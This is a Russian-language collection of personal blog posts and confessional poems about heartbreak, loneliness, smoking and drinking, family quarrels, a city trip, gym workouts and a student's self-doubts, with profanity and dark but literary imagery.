Согреть свои руки в огромных и теплых его.
И все без запрета- и секс, и резонное ****ство…
И все бы ништяк… Только нету у нас ничего.

Пока видит сны- к телефону украдкой/а надо?/
Прочесть пару штук, убедиться- зарок не нарушил.
И Кати, и Жени, и Даши- они будут рядом.
А я-то чего? Ничего… Грела сердце и душу.

Точнее хотела согреть после стольких пожаров,
Кончавшихся коркой двухслойного белого льда.
Хотела согреть. Обморозила сердце. Не пара?
Наверное нет. А мне искренне, так, чтобы ДА…

Опять закурить. И понять в сотый раз- так и нужно.
Малышка моя, ну чего ты хотела еще?
Пока он тут спит, шевелись, разогрей ему ужин…
Он ест с твоих рук. Катя, Даша и Женя- не в счет.

-------И нахуй послать себя- чем ждать от других комплименты.
-------Я ж так и хотела… Мешать белый Швепс и коньяк…
-------Вот сука… а верилось, честно. Ведь были моменты…
-------Когда понимала- он рядом. И больше никак.

Эй детка, не парься. Еще один мост станет пеплом.
Я знаю тебя- ты не сможешь вот в этом дерьме.
А мир его заек останется чистым и светлым….
Ты просто не сможешь быть тенью чужих на стене.

И можно рвануться, напиться /как делала, но безуспешно/.
Сказать ему честно: "Я так не смогу… Это финиш. "
Но ты же молчишь, дорогая, скрывая погрешность..
Ты честно худеешь и куришь, себя половинишь..

И похуй, что веры в тебе ни на грош не осталось,
Ты просто хотела стать ближе, быть рядом.
Ведь ты не скулила. Хотя иногда и пыталась…
И лучше б он честно и прямо, открыто: "Не надо".

Но цирк продолжается, падают пони с канатов.
И мне очень страшно, что как-нибудь я не вернусь.
Не надо со мной так. Я очень прошу- ну не надо..
Я знаю почем в этом мире и слезы, и грусть..

И можно поплакать. Двенадцать. Запрись, детка, в ванной.
Размажь по лицу свою тушь- диссертацию ****ства.
Есть Кати и Жени. Зачем еще новые раны?

И все бы терпимо… Но есть же зарок- не влюбляться.

как же это сложно, черт возьми!!!!!!!

Затянусь Esse некрепкими привычно,
И в окно- глазами гладить стены дома.
Кто сказал, что ты мне безразличен?
Ты мне дорог. Просто по-другому…

Тоже будет небо чистым-чистым,
Тоже будут сказки про хороших.
Может быть, в конце случайный выстрел.
Мы не застрахованы. И все же…

Затянусь Esse. И ты прикуришь.
Подымим на осень, негодяйку…
" Кто сказал- не нужен, раз не любишь?..
Был не прав." /растягиваю майку/

Ты хороший, честно-честно, правда-правда…
Купишь мне вина и шоколадку…
Может, угостишь на вечер ядом-
Не от злобы, силою повадки…

Ты хороший. Грустно мне с такими…
Невпопад порой бываю грубой.
Ты хороший. Но другое имя
Сталью раскаленной жжет мне губы.

Ты хороший. Но совсем других объятий
Просит тело, и душа о них же молит.
Так случается- себя хорошим тратить,
Я тебе хороший все позволю…

Убаюкай на плече, как дочку,
Расскажи, что завтра будет солнце.
На коленях, засыпая понемножку,
Размечтаюсь- вдруг и он вернется?

Мой хороший, мой хороший мальчик…
Береги, и грей в своих ладошках.
Все таки, наверно что-то значит:
Где-то там, он греет свою кошку…

.. Закурить Esse, давясь грехами,
Память перерыть- а вдруг поможет?
Запиваем истину стихами,
Лучших заменяя на хороших…

Двенадцать. Ну Золушка, к старту! Лицо накрасить.
Иголками в два ряда обрамить глазницы.
Бессмысленно в сотый раз загружая аську,
Осмыслить- его там нет. Никогда не снится.

По улицам- к фонарям- по чужим квартирам.
По клубам- и по коктейлю. А можно ПО два.
Смеяться в лицо таких, кто в сердцах, как в тирах,
Стреляет на суперприз. Или плюнуть в морду.

Напиться текилой-джазз или просто пивом.
Рукой- по стене. И былое- осколком- в мозге.
Я девочка очень маленькая и красивая…
Он мальчик слишком не мой, и достаточно взрослый.

Курить. Выдыхая дым, расчесать ладони.
Чулок- как подарок- на лавочке, фетишистам.
Случайному, не со зла: "Ненавижу, понял? "
Поехали. Взять такси. По чужим. И быстро.

Кусать свои губы ночью, когда мой ближний,
Ни разу не бывший близким, уснет внезапно.
И рявкнуть на зеркало "Видишь, дура?". "Ну вижу".
И знать стопроцентно, каким окажется завтра..

Проснуться в руках другого. Уйти без кофе.
Ломая каблук в асфальте, сорваться- "Сссука! "
Глаза под очки. Телефоны и аську- в оффе.
Бежать от себя. Не кричать. Не реветь. Ни звука.

Добраться домой. Успокоиться. ВИски залпом.
И пальцем на пульт- тишина испугает душу.
Курить и молчать. О Господи, если знал бы…
Как я тут ломаюсь, привычный свой мир разрушив…

Знаете, в чем моя беда? Мне всегда хочется поделиться. Не важно чем. Будь это новая прочитанная книга или просмотренный фильм. Будь это какая-нибудь новость, не важен ее характер. Поэтому я веду этот блог и пишу личные посты. Понимаете, практически нет в моей жизни людей, которым можно позвонить или написать в любое время с глупым разговором. А я такая глупенькая и по натуре открытая, душа на распашку, и порой кажется, что минута, глядя мне в глаза - и всё, меня насквозь. 10 минут назад я строчила пост о том, как встретила сегодня двух своих подруг, которых уже можно без лишней суеты назвать бывшими, а почему? Вроде поделилась этим с мамой, в себе ничего не таю. Просто мне этого мало. Хочется, чтобы об этом знал весь мир. Ну как тут быть? Всегда приходится приводить себя в чувство и напоминать, что всем плевать. Мне же вот плевать на всех, и это я ни капли не лукавлю. Я даже с уверенностью не могу сказать, люблю ли я кого-то, правда, не считая моей семьи. Что же тут говорить о какой-либо заинтересованности? Хотя, знаете, может, сейчас это во мне говорит злость на себя. Всегда хочу винить себя во всем и ненавидеть. Всегда обижаю саму себя и унижаю. Я, наверное, просто неуравновешанная и вспыльчивая, либо чувствую всё, либо ничего, и третьего мне на дано. Либо всему миру, либо никому. Я хочу найти свою золотую середину. Мне нужен человек, мой человек. Все эти мысли от одиночества. Я как гвоздь среди скрепок.

В детстве я молил Бога о велосипеде. Потом понял, что Бог работает по-другому. Я украл велосипед и стал молиться о прощении.

© Аль Пачино

Такая блажь… прости малыш/не трогай.
Еще немного и меня начнет нести.
Привычка- как иголками под ноготь
Несостыковки рельсов на пути.
________Я не запомнила, какого цвета куртка.
________Я видела глаза. И мне хватило.
________Прости мое количество окурков.
________Я в перекурах набираюсь силы.
Не той, которая несла меня по крышам,
Не от которой я жила с прогнозом.
А той, о коей, верно, ты не слышал,
Которая ломает в разных позах.
_________Как эмбрион, в кровати до рассвета,
_________Как футболист, распятый на воротах,
_________ Ловя комочек боли, как комету.
_________И как гурман, объевшийся до рвоты.
Депрессия. Тупик. Без остановки.
Давай экскурсию по нашим общим срывам?
Не лечит даже смена обстановки,
Не лечит дом, не лечит Сплин, не лечит пиво.
________Такая блажь. Прости, остынь, подвинься.
________Приди же подивиться на меня.
________Хотя не надо. Ты бы очень разозлился.
________Тебя же злит понятие «твоя»?
И тридцать дней дождя. Как анальгетик.
И много, очень много сигарет.
Моя мне боль. Спасибо тебе, скептик.
«Она была. Вчера. Сегодня нет.»
________Чтоб кто-то также проорал родное имя,
_______И, бесконечно добрый, объяснил
_______Они – одно. Они не могут быть чужими.
_______И ты назад с оскалом- «Пошутил».
Ты не волнуйся. Я не стану трогать вены.
Печальный опыт был. И ты не трогай.
PS. А я нашла тебе замену:
Цветная зажигалка, пачка Вога…

Когда мне было лет 10, мы с моей лучшей подругой любили наматывать круги вокруг нашего двора и мечтать о будущей жизни. Например, как мы поедем вместе отдыхать на море, как я научусь ездить на велосипеде, и мы вдвоем будем вместе кататься, как будем печь самые вкусные пироги и торты, чего только не было в этих желаниях. Тем не менее одно из самых нелепых мечтаний, которое помню почему-то исключительно я, было о том, чтобы повзрослеть лет так до 15-16.

— Вот здорово будет в 15 лет, уже и достаточно взрослые, но еще и не совсем старые, будет парень и куча друзей! - говорила моя подруга, а я, естественно, с ней соглашалась, ибо думала не многим иначе, чем она.

Пару дней назад мы с моей той же по прежнему лучшей подругой с улыбкой вспоминали об этих днях, смеясь то ли над тем, какими беззаботными и непосредственными мы были, то ли над тем, что в наши 15 лет жизнь была совсем не такая, как мы ее представляли.

Если говорить только за себя, то в свои 15 я грезила лишь школьной золотой медалью, гналась за этой целью, не замечая и не думая ни о чем другом. Нелюдимая отличница, категорически нелюбившая большую часть человечества, часто сбегающая в волшебный мир книг и кино, - вот такая была я. Девочка, выбравшая достаточно распространенный тип поведения для своего возраста. Тогда мне тоже очень хотелось повзрослеть скорее, но что либо менять в своей жизни я отказывалась, а зря.

Неизбежные перемены все-таки произошли, ненависть к людям исчезла. Исчезли и несколько лет после моего пятнадцатилетнего возраста, и теперь мне страшно. Страшно взрослеть, ведь даже сейчас мне кажется, что во мне порой просыпается такой "стереотип бабушки".

Я вдруг полюбила готовить еду, что было мне совершенно не свойственно удивительно долгое время, вместе с тем появилось необузданное желание накормить всех, кто переступает за наш порог. Идея все лето копаться в саду или огороде мне кажется безумно привлекательной. Мне нравится смотреть видео на Youtube с маленькими детьми, я нахожу их милыми и даже иногда плачу на особенно мимимишных моментах. А еще я хочу сходить к астрологу или гадалке, ибо насмотрелась всякой ерунды по ТВ-3 (настоящий мистический, черт побери).

Конечно, это ни в коем случае не показатель моей взрослости, она измеряется в совсем других величинах, но эта мысль о "стереотипе бабушки" и его проявлениях во мне меня преследует и отнюдь не радует, хотя немного забавит. Я не чувствую себя готовой к той самой жизни, о которой мы грезим сейчас. По сей причине я решила не загадывать на несколько лет вперед и попытаться сделать так, чтобы это неизведанное пока "несколько лет вперед" было для меня счастливым, прекрасным временем. + на велосипеде все-таки нужно научиться кататься.

Это лето проскользнет меж пальцев.
Я все знаю. Я заранее готова.
Привыкаю в одиночку просыпаться
И нейтральное по ходу вставить слово.

Это лето будет самым беспонтовым.
Языком через плечо- подразнишь?Поздно.
Я у зеркала смеяться буду клоуном.
В августе- дымить буду на звезды.

Это лето будет в одиночку.
Улыбаюсь. "Девочка, покурим?.. "
Я хотела это время года- точкой,
Всей моей нелепице и дури…

Это лето так наполнено стихами.
Столько строчек ждет его июля…
Я давлюсь истерикой и снами,
За компом раскачивая стулья.

Это лето без тебя. И слава Богу.
Отдает нектаром апельсинным-
Все мы отвыкаем понемногу.
Все мы в памяти себе готовим мины.

Это лето проскользнет меж пальцев,
Самым синим сигаретным дымом…
.. Завтра лето. Плакать и смеяться.

Первое, где я одна, любимый.

Я больше не звоню ему. Не стоит…
Он дал мне столько холода однажды,
Что можно было Арктику надстроить,
Что можно было заморозить всю планету…
Я больше не пишу ему. Не надо…
Он научил меня как стать циничней.
Он показал на дверь чужого ада,
И я брожу там… Мега-безразлична.
Я больше не ищу его. Зачем мне?…
Так и не понял слов - ни шепота, ни крика…
Я даже не ищу ему замену.
Я стоптана… Исчерпана… Безлика…
Мир умер… Я брожу по парапету,
В попытках рвать саму себя на части…
И сжаться в ком…и заорать в чужое небо:
«Я больше не ищу тебя! Ты счастлив?»

День пятый. Часть 2.

Во второй части дня мы поехали в океанариум. Дороговато, даже если есть студенческий и пенсионное удостоверение. И детей много. И много крутых рыб от которых мы тоже становились детьми и с криками "смотриии" подбегали к аквариумам.
Самое запоминающееся - это "прозрачные" рыбы :D и это туннель, где по боком и над тобой плавают рыбы. Были ещё тюлени. Такиииие милые. Плавали, не давали себя хорошо рассмотреть, дразнили народ. Один вынырнул, осмотрел всех людей, попозировал и уплыл :D К аквариуму с рыбками-клоунами по-любому подходили многие с возгласом: "Оо, это ж из этого!". Ну, я лично подошла :D

А теперь один из самых запоминающихся моментов.

После этого мы отправились с мамой в "Галерею", чтобы всё-таки купить мне майку. Взяла себе отличную футболку в "Твоё" за 300 рублей! Решили зайти h&m. Присмотрела себе там мягкие и удобные штаны, чтобы по дому гонять. Взяла два размера померить. Подходим к примерочной, а нам говорят "у нас примерочная не работает". Минута проходит и говорят, что работает. Я спокойно примеряю, уже определилась с размером, переоделась обратно и тут включается сирена и просят срочно выйти всех. Маман такая: "а можно мы оплатим и уйдём"? :D вещи оставили, штаны не купили. Народищу ужас сколько было. Как выяснилось - учебная тревога. Помню, там девушка выбежала из примерочной прям в футболке, которую мерила)) Матушка потом бухтела, типо чего торопилась переодеваться, выбежала бы прям в штанах в домой бы пошли :DD А прикиньте какая-то девушка чисто зашла в Armani, DKNY и т.д., примеряла ради интереса одежду, не собиралась ничего покупать и тут говорят срочно выходить не переодеваясь ахахах она поди была самым счаcтливым человеком :DD

Я всё-таки исполнило ещё одно мамино желание :)

После "Галереи" мы зашли в магазин купцов Елисеевых. В этот магазин диабета во плоти , магазин "закатай губу", магазин "посмотри на цены и поплачь" . Купили мы по вон той обалденно вкусной штуке, что на первом фото. Попробовали и влюбились. Это потрясающе вкусно. Тесто мягкое, не приторное, но и не пресное. Всё в меру. Хотела взять ещё лимонное пирожное, которое так любит Санса Старк, но зажмотила 190 рублей :D У меня есть повод вернуться и всё-таки попробовать.

Если вдуматься- суть ведь не в том, что совсем не любил.
И не в том, что наверно уже никогда не полюбит.
Просто будучи самым родным на земле- приручил,
Приучил, что уже по-другому со мною не будет.

Я – курсивом по строчкам. Он- пеплом по нежным словам,
Он прошелся как танк, оставляя кровавые борозды.
Просто дело не в лете. Не в письмах, летящих в твой спам.
Не в привычке курить не в затяг, и конечно, не в возрасте.

Не в других. Не в другой, что ему заменила меня.
Не в остаточном чувстве, что я у груди храню бережно.
Дело в памяти. Не стереть, да и не променять.
А сегодня смогла бы такое… Все вычеркнуть, веришь ли…

Дождь в окно. Оставляет пунктиры, на венах следы.
Несоленый на вкус, не сумеет чуть глубже поранить…
Дело в том, что дороже других полустертое «ты»…
Что мое тебе «я» вряд ли станет роднее когда-нибудь…

и все-таки меня это задело!ну как так-то вообще?! как так резко может человек помегять свое отношение к другому человеку?! что за бред! в принципе мне человек ни лесом, ни боком, но чтобы так начать относится - нужна оочень веская причина. ладно. я скоро успокоюсь. но чувство отверженности все равно таится в душе. это ненадолго. всегда проходило и сейчас пройдет. это всего лишь новый путь к новому человеку. моему человеку.

Потому что не надо делать живых из мертвых.

Я болела еще неделю, простудой, стрессом.
Я теперь мечтаю уйти по асфальту мокрому
К новой жизни и к новым (сбывшимся!) интересам.

Потому что не надо взахлеб угощаться водкой,
Когда просто вот так- предлагают конфету с чаем.
И не думай о том, что ты выглядишь идиоткой,
Когда раз в три недели шлешь ему: «Я скучаю.

И вообще- в моем городе дождь. Он размыл все знаки.
Мне теперь никогда не найти до тебя дороги.»
Понимая, что врешь. Что быстрее любой собаки
Ты отыщешь адрес, известный отнюдь не многим.

Потому что не надо делать живых из мертвых.

Не вытаскивай тех, кто навеки застрял в оффлайне.
Потому что не хватит слов, полуслов затертых,
Уместившихся в «не звони» на твоем экране.

Потому и сидишь один на один с зимою,
Хмуришь лоб, прибавляя себе, молодой, морщины.
Потому, что здесь выживают одни лишь кошки.
Потому что здесь умирают твои мужчины.

Поболею еще неделю простудой, стрессом.
Обязательна цель усилий- тебя не дергать.
Не звонить, не писать, никаких общих интересов.

Потому что- в который раз- я жива, ты мертвый.

Я без тебя падаю.
Ниже, еще на уровень…
Ступенька к ступеньке… мало ли,
Нас, вот таких вот дур? Аминь.
Небо коростой кроется,
Вдвое сложилось тЕнями…
Пальцами… как же колется!…
Я не играю с венами.
Я без тебя- атомы.
Свет приглушенный в комнате…
Вряд ли ты станешь братом мне…
Будем дружить… Помните?…
Я без тебя- скомкана.
Жизнь прожигаю фильтрами…
Утро привычной ломкою
Выльется в день по-быстрому.
Дождь изогнет радугу,
Чтобы глаза- пламенем…
Я без тебя- падаю…
Ниже… Еще.. Хватит ли?…
Взгляд на рентген- истина.
Кости ломать. Трудно ли…
Кофе хлебать неистово,
В спешке давиться буднями….
Я без тебя- фразами,
Льюсь в интернет- форумы.
Я без тебя- спазмами,
Гноем в душе… Скорую!…
Я без тебя- листьями,
В ноги чужих. Под ноги.
Я без тебя- письмами,
В руки других, потные.
Цветом теперь- черная.
В уши слова- ватные.
Я без тебя мертвая…
Я без тебя падаю…

Моя мама твердо убеждена, что нормальные шмотки мне может купить только она. Ибо у меня ни денег, ни вкуса.. в общем, я чмо еще то. Так вот, знаете, что она придумала? Чтобы я не носила никакие другие вещи, кроме купленных ею, она "вдруг" решает постирать мои вещи. И почему-то именно с теми вещами, которые купила я, в процессе стирки, сушки или глажки "нечаянно" что-то происходит. Вот как минут пять назад, например. Спасаюсь только угрозами: что когда-нибудь ее сумочку от диор в отбеливателе замочу. Случайно.

Я искала свой стиль, когда столько писала тебя,
То небрежно курящим, то пьющим по двести за раз,
То придуманным, то- страшно сказать- настоящим,
Но уверена - стоящим. Это мои, про нас.

И я опять начинаю с конца.
Мне не видно не глаз твоих, ни лица,
Ты же взрослый мужчина/еще пацан,
Я хочу тебя так, как ты хочешь сам,
Искрометно-счастливого подлеца.

Чтобы в горле острые как кинжал
Наливались слова. Чтоб любой бежал
От тебя, как от проклятого огня.
Чтоб сказал- "Эта девочка- для меня "

Я сейчас балансирую на строке,
Я сжимаю окурок в одной руке,
Я дрожу над каждой из смс,
И боюсь- ты ведь так глубоко залез…

Я люблю наш секс, я люблю наш бокс
На двоих, в зарешеченной психбольнице.
Я хочу с тобой нюхать чистейший кокс,
Я мечтаю с тобой гадкой водкой спиться.

Я люблю наш имидж и наш дизайн,
Я люблю привычку не расставаться.

« Я к тебе не приеду. Я все сказал.»
И я верю, что ты решил не сдаваться.

Только, мальчик… Ведь я же меняю стиль,
Я меняюсь с белого и на черный,
Убедишься, что в этом отрывке штиль,
И я тут же свадьбу сменю на порно.

Но пока ты здесь- а ты здесь, во мне,
Наши руки свиваются в кольца прочно.
Гарантирую- мы будем наравне.
Я пишу нас. Обрывочно, емко, точно.

Начинает крушиться мачта, хотя снился покой и штиль.
Мы себе обещали дважды, что меня мы сдаем в утиль,
Что меня мы уничтожаем, что меня здесь, конечно, нет
Но я так же стою живая, но я так же иду на свет.

Мы меня разбивали в зеркале, и любых других отраженьях,
Мы меня заменяли девочкой – Юлей, Настей, Олесей, Женей..
Мы травили меня игнорами, препарировав тишиной,
Удивлялись - она, которая, обещалась дышать не мной

Еще тут и еще шевелится, еще теплится по ночам,
Еще пишет и обещается свою душу продать чертям.
Мы травили меня укорами- не такая и не нужна,
Мы смеялись, что буду скоро я не твоя, не тебе жена.
Ты придумывал это имя мне(стой, любимая - и стою)
Если помнишь как- заведи меня. Я не сломана. Я пою.

Я, как всегда, молодец. Хотела найти себе работу для денег, а нашла.. для удовольствия. То есть даже не за еду. Привет, грабли! Привет, волонтерство!

Буду впахивать (тьфу-тьфу-тьфу, чтобы хоть сюда взяли) аж до ноября. А потом надо все-таки искать что-то по делу, ибо девочке 20 лет, а она у мамы на мороженку стреляет. Продюсер, которого не любят деньги. Слышали о таком? Так вот она я.

Пока мы были в отъезде, на сайте нашего агентства появилась квартира (даже две) в том доме, о котором мне уже лет 5 рассказывает мама. "Ой, вот туда я пойду в любую квартиру, даже смотреть ее не стану!". Ага, как же. Мама найдет, к чему придраться. Как назло, в доме ее мечты и в подходящей нам по бюджету квартире, к ней впридачу продают какую-то кладовку (или что-то вроде того) на лестничной площадке. Мама почему-то твердо убеждена, что этот угол включили в стоимость квартиры и покупать эту конуру не хочет.

Ну и ладно, может, у нее получилось бы договориться с хозяевами по этому поводу (в чем я сомневаюсь), но она даже особо не шевелится в плане пойти и посмотреть эту квартиру! Наш агент вышла из отпуска уже дня три как, мы тоже давно приехали.. но так друг друга ни разу и не увидели и не услышали. Фак. Иногда мне кажется, что мы никуда не переезжаем - просто морочим голову покупателям, продавцам и агенту. И кажется, агент это уже понял и поэтому даже не пытается с нами связаться. Бесит.

Как-то пару дней назад, маясь от безделья, я нашла в вк своего несостоявшегося женишка. Ну, вы помните. Так вот, слава Богу, что я не согласилась с ним знакомиться. Этого парня от несчастной личной жизни даже maserati не спасет (а него есть maserati, да-да.. по крайней мере, так говорит его папочка). Хотя, уверена, что какая-нибудь лихая девица с удовольствием пойдет замуж за.. его тачку.

Переженились все!)) замуж вышла девочка с параллельного класса)) кстати, по-моему первая со школы) и меня весь день аж распирает от радости за них)) аж сама захотела) )) )) годом раньше-годом позже)) ахахаха вообще я всегда хотела стать женой в 21 год :) ну посмотрим))) ))

— Ты когда-нибудь чувствовала, что растрачиваешь свою жизнь?

—Только когда я не сплю.

А перед кем-то жизнь ставит более важные вопросы. Например, зайдет Макс или нет.(с)

Сейчас на земле живут 6470818671 человек. Кто-то сбегает, кто-то возвращается домой, кто-то лжет, чтобы дожить до конца дня, другие просто говорят правду. Есть злые люди, которые настроены против добра, а есть добрые люди, которые борются со злом. На земле 6 миллиардов 470 миллионов 818 тысяч 671 человек, шесть миллиардов душ, но иногда тебе нужна всего лишь одна

Когда кто-то говорит, что научился жить без тебя. Ты уже в дураках, чтобы ты ни сказал.

Приехал уже вечером, подарил очень красивый букет из 33 роз и самую широкую улыбку. Я счастлива.

… to all those lost souls who have forgotten to believe in the immensity of love.

Для всех потерянных душ, которые забыли верить в необъятность любви.

Каждый день я просыпаюсь и чувствую боль в груди. А иногда я просто не сплю, потому что знаю, что когда я проснусь, тебя не будет рядом со мной.

Я отдала тебе свое сердце, больше мне нечего тебе дать, если этого тебе мало – значит, тебе нужна другая.

— Что с нами происходит? Почему мы становимся такими несчастными?

— Мы влюбляемся. Но по какой-то причине, люди которых мы любим, забывают любить нас в ответ.

А еще я сегодня сделала перестановку в комнате и завтра папа НАКОНЕЦ-ТО повешает в моей комнате зеркало и я буду фоткацофоткацофоткацо в зеркало охохо: 3

Вот знаете, у меня сейчас такое состояние, что мне все лень. Мне нужно делать живописную практику, а я не делаю, мне лень; мне нужно делать ознакомительную практику - мне лень…хотела написать, что еще мне лень делать, но поняла, что я делаю все другое, лишь бы не делать практики. Я хожу на трени, от трени намбер ван пришлось отказаться (надеюсь, до сентября) из-за того, что сейчас капец какие проблемы с финансами. Потом расскажу (я уже обещала, но мне нужны доказательства - фото, чтобы вы видели мои успехи), что это за треня намбер ван. После приезда записалась в зал, ходим вместе с Данилом. Потащила его за собой потому, что: во-первых, хочу иметь с братом дружеские отношения, и сейчас мы общаемся очень хорошо, видимо тот детский возраст прошел у обоих, когда брат и сестра ссорятся и делят что-то, сейчас мы бесимся вместе (на дня проломили дверь в мою комнату :D) и смеемся; во-вторых, я хочу, чтобы к 16 годам (ему в сентябре будет 14), он был таким качком и классным парнем (уверенным и сильным морально), как "парни из сериала". Да, я заботливая сестра :) На самом деле, я им очень горда, тем, какой он уже в свои почти 14 лет. Он очень добрый и заботливый (второе я раньше не замечала за ним), он умеет шутить, он умный и спокойный. Ему вот нужно поднабрать в себя эту мужскую уверенность, мужскую силу и тогда по нему каждая девка течь будет, атвичаю!
Так вот, после приезда записались в зал, с тренером, как пологается, чтобы был толк в этом деле. Я пойшла к бабе, Данил к мужику. Я со своей Катей сразу скорефанилась, мы с ней разговариваем и шутим, а вот с моей Олей (тренер намбер ван, как вы поняли), мы не сразу стали общаться, даже сейчас еще не такое общение, как уже с Катей, присутсвует "пауза", "молчание", которое жутко бесит, стоишь и тупишь как морж "че сказать, а нада че нить говорить или нет". В зале мне очень нравится, он находится в моем районе, в 5 остановках от меня. Я еще так подумала "Тюю..это ж Черемушки, тут никогда стоящего ничего не было, поищу-ка я еще вариантики зала", а на деле оказался хороший зал, с хорошими тренажерами и отличными тренерами! Я рад кароч. Еще хочу перейти на ПП, хочу быть фито-няшкой: 3 Серьезно, после просмотра страничек таких няшек в ИГ и похода в зал, мое определение красоты кооринально изменилось. Подписалсь в ИГ на ПП-рецепты, уже все, я готова жрать че надо и когда надо, но мама готовит другое, а денег нет, чтобы я сейчас ходила сама себе по магазинам и брала то, что мне нужно. Хотя, и с тем, что готовит мама я стараюсь выбирать то, что примерно подходит под ПП. Заделалась спортиком :D

Так воодушевленно писала про спорт…это действительно мне нравится. А еще, думала, что этот пост будет коротким, но наверное, я выговорюсь.

Я вчера ходила в душ, включила радио (встроенное в душ) и смотрела на себя, я уже вижу результаты. Моя фигура никогда еще не была такой! В тот момент я поняла, что я довольно-таки и ниче, вот сейчас подкачаюсь, сделаю себе попу/ручки/ножки -> стану поуверенней в себе и своей внешности. Кстати, об этом. Я вижу, что я красивая (хотя говорить сейчас об этом мне неловко как-то), вижу, что парни на меня смотрят, НО принимать какие-то комплиметны (когда мне их говорят), у меня не получается, мне кажется, что они врут нафиг, это не так вообще! Я думаю, это из-за того, что дальше погляделок ничего не выходит. Идем дальше. Я общаюсь с парнями в том анонимном чате, из чего могу сделать два вывода: первый - я достаточно и правильно пошлая, что нравится парням, второй - я достаточно интересная и, может быть, даже не совсем и глупая. Один парень мне сказал, что просто нужно научиться принимать помощь и слова других людей. Вот лично я всегда помогаю всем, особенно, когда меня за язык никто не тянет. Таню вот спасла с проектом. Сделала ей альбом полностью и подрамник 80%, а сейчас знаете что? Она куда-то уезжала, и не сказала мне. Еще была такая фраза "как только у меня появится парень, ты о нем узнаешь". В твиттере была запись, но я не обратила внимания, вчера вк захожу к ней - "есть друг" Оо Нет, я конечно буду рада, если у нее появился молодой человек, но это типа "ты мне друг, а я тебе нет"? Перед АрхВареньем писала ей, хотела, чтоб пошли вместе, она прочитала и не ответила, и ходила она с Настей с оргкомитета. Против Насти я тоже ничего не имею, но мне как-то обидно… На АрхВ ходила с Лерой. Лера - это тот человек, который любит рассказывать о себе и о своих парнях. В тот день я была вообще не разговорчивая, поэтому мало что отвечала ей. А еще, когда ей нужна помощь со скетчем или еще с чем, она "Наташа, ты не занята, а как это сделать, слушай, а это", а как мне нужна помощь, а помощь мне нужна в основном в живописи, так все…сразу начинается "ну а че ты хочешь, ты ж не ходила на живопись", сразу начинаются под-бы…как это слово помягче, а не мат? А еще она сама по себе агрессивный человек, вечно срывается.
В общем, я отдаю себя всем, а мне пока чет ниче не прилетает. А может прилетает, да только я не замечаю? Еще в дУше я решала, что нет парня - ладно, пофиг, пусть не будет. Значит нужно развивать себя. Я понимаю, что третий курс сейчас будет очень сложным, ответсвенным и основополагающим вообще в моей специальности. АХ, КАК ЖЕ ХОЧЕТСЯ БЫТЬ УМНОЙ!! Вы просто не представляете, как я себя грызу за то, что я недостаточно умна, что не могу поддерживать профессиональные темы, не могу разговаривать с умными людьми, а больше всего бесит - неумение выражать свои мысли устно. Когда меня о чем-то спрашивают, я начинаю жестко тупить, потому что вопрос был неожиданным для меня, от этого мне становится стыдно. Выход есть: принять себя, постараться изменить себя, не полностью, конечно, но изменить, понять, что нужно изменить. Вот еще об изменениях. Я чувствую, что я сильнее, умнее и красивее, чем я себя такой считаю. Я чувствовала себя такой только с тремя людьми: первый человек - Аня, которая промывала мне мозги; второй человек - Максим, третий - Дядечкин (прикол, да? оо). Хоть Максим и говорил мне, что я кажусь глупой, внутри я была сильнее, когда он был рядом, я знала, что я смогу справиться со всем. Дядечкин, это уже взрослый мужик, который неплохо зарабатывает, имеет свою квартиру, более чем достаточно умен, знает себя, свои сильные и слабые стороны, знает, что ему искать в других людях. Он уже сформировавшаяся личность. (Ему бы только жирок с пуза и боков убрать и вообще он красавчиком будет Оо) Вот он говорил мне, МОЙ ПРЕПОД ЭТО ГОВОРИЛ МНЕ, МНЕ МОЙ ПРЕПОД, что я сильная. Это было почти в 10 вечера, он прислал мне картинку женщины Тор на телефон, МОЙ ПРЕПОД НА ТЕЛЕФОН МНЕ В 10 ВЕЧЕРА. А я такая ниче не ответила вроде оо На следующий день мы с ним встретились и я спросила че это было, а он такой говорит, мол ты похожа на женщину Тор, такая же отважная и сильная О_О И это было видно, что он это говорит искренне, он на самом деле так считает. А какую он мне забабахал рекомендацию! А как помогал мне, когда вел у меня проекты. Он и сейчас мне пишет в твиттере, мол "хороший новый юзерпик" (ава), еще какие-то комплименты писал о моей прическе в начале лета и еще че-то там… И вот ему мне почему-то хочется верить, ну, что он правду говорит. Ксюха (одногруппница) однажды сказала, что мы стоим друг друга и что я вообще за него замуж выйду :D Если говорить честно, мне интересно какой он в отношениях и постеле. И если бы я была уже не девочка, то второе было бы реальней, собственно, как и с Максимом.
А с Сашей мы перестали понимать друг друга (к чему вообще завела разговор об изменениях тут). Он слишком СЛИШКОМ негативен. Я понимаю, что ему трудно, но меня бесит, что он ничего не желает менять, видите ли, не любит он изменения. А его бесит то, что я пытаюсь "научить его как жить". Стали переписываться уже даже не через день, а через 4-5. По началу, мне было не привычно и я скучала, а сейчас уже даже самой писать не тянет. Самое глупое в том, что он говорил, что его все бросают, мол находят вариант получше, так это не удивительно! Я так обрадовалась, что мы с одного города, подумала, что смогу ему помочь измениться, а ему это нафиг не надо. Так зачем тратить мне свои силы? Во мне очень много сострадания к людям, мне его очень жаль, и еще больше мне жаль, что ему не нужна моя помощь, и что он может думать, что я такая же как и все те, которые уходили от него, когда узнавали его получше…но стоит ли поддерживать общение с человеком, который не хочет идти вперед? Как не винить себя за то, что ты хочешь его оставить?

Все так смешано-перемешано у меня в голове. Я знаю чего я хочу от себя, от учебы за 3 курс, но мне так лень делать эту практику…лень сесть и читать книгу по теории градо (спицальна в библиотке взяла, чтобы идти подготовленной к Кукиной, она та еще стерва и зав.кафедры по совместительству) … КАК ПЕРЕСТАТЬ ЛЕНИТЬСЯ? Да просто встать и делать ёмаё. Просто идти вперед, навстречу своей цели, просто идти вперед с теми людьми, которые тоже идут вперед. Как, как отказаться от тех людей, которым ты не можешь помочь которые не хотят идти вперед, а стоят на месте? Как понять, кто ты есть? Как завести друзей, которые будут рядом с тобой и ты с ними, с которыми ты сможешь делиться секретами? Как стать терпеливой?
Я найду себя, я знаю это. Это мой год, год поиска себя и обретения гармонии с собой и своим телом. Все у меня получится. И у вас, если кто-то прочитает этот пост :D

P.S: Маша, ты снишься мне уже вторую ночь подряд. Мне так страшно начать, мне страшно, что ты боишься больше, чем я (вывод из твоего сна). Хоспаде, как же глупо, мы читаем друг друга на вьюи, а не можем написать друг другу на сотовый :D Бабы - дуры.
Поживем - увидим. Терпения, братцы, всем терпения :)

Что за отстой, когда есть возможнось куда-то выбраться, возникает проблема о том, что ехать не с кем…все заняты, не могут и т.д…жизнь боль

And the sun will set for you
The sun will set for you

And the shadow of the day
Will embrace the world in grey

